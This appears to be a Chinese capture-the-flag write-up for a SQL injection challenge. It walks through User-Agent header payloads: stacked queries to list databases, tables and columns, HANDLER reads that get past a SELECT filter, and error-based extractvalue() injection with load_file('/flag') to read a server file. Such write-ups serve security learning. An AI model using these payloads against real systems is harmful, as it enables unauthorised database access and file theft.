http:///challenges#sqlii
回显了User-Agent
、IP
、uname
数据,猜测讲这些数据插入了数据库然后查询返回,结合上图别打头
,猜测就是User-Agent
注入
User-Agent: 'order by 5#
很明显存在注入,接着就是fuzz,测试的过程中发现过滤了
select
delete
drop
insert
alter
where
prepare
set
.......
并且发现存在堆叠注入
User-Agent: ';show databases;#
发现sqli
库下存在一个比较奇怪的表
User-Agent: ';show tables from sqli;#
看一下这个表的字段
User-Agent: ';show columns from sqli.23323333;#
发现fllag
字段,尝试查询sqli.23323333
中的fllag
字段。这里虽然过滤select
,但是有堆叠,可以尝试使用handler
来查询数据
User-Agent: ';handler 23323333 open;handler 23323333 read first;#
但是不知道为啥没有数据,读了一下别的表是可以读到第一条数据的,猜测这个sqli.23323333
表中没有flag,flag应该在服务器上,那就要尝试文件读取了。
查看下有没有使用load_file()
的前提条件
User-Agent: ';show global variables like '%secure%';#
secure_file_priv
的值为空,有条件利用load_file()
,但是这里因为select
被过滤无法利用联合查询,但是这里有报错回显,可以用报错注入,虽然updatexml()
被过滤,但是还可以使用extractvalue()
User-Agent: 'or extractvalue(7,concat(0x7e,user(),0x7e));#
User-Agent: 'or extractvalue(7,concat(0x7e,load_file('/flag'),0x7e));#
因为报错函数只能回显32
位数据,这里mid()
截一下读一下后面的即可
User-Agent: 'or extractvalue(7,concat(0x7e,mid(load_file('/flag'),20),0x7e));#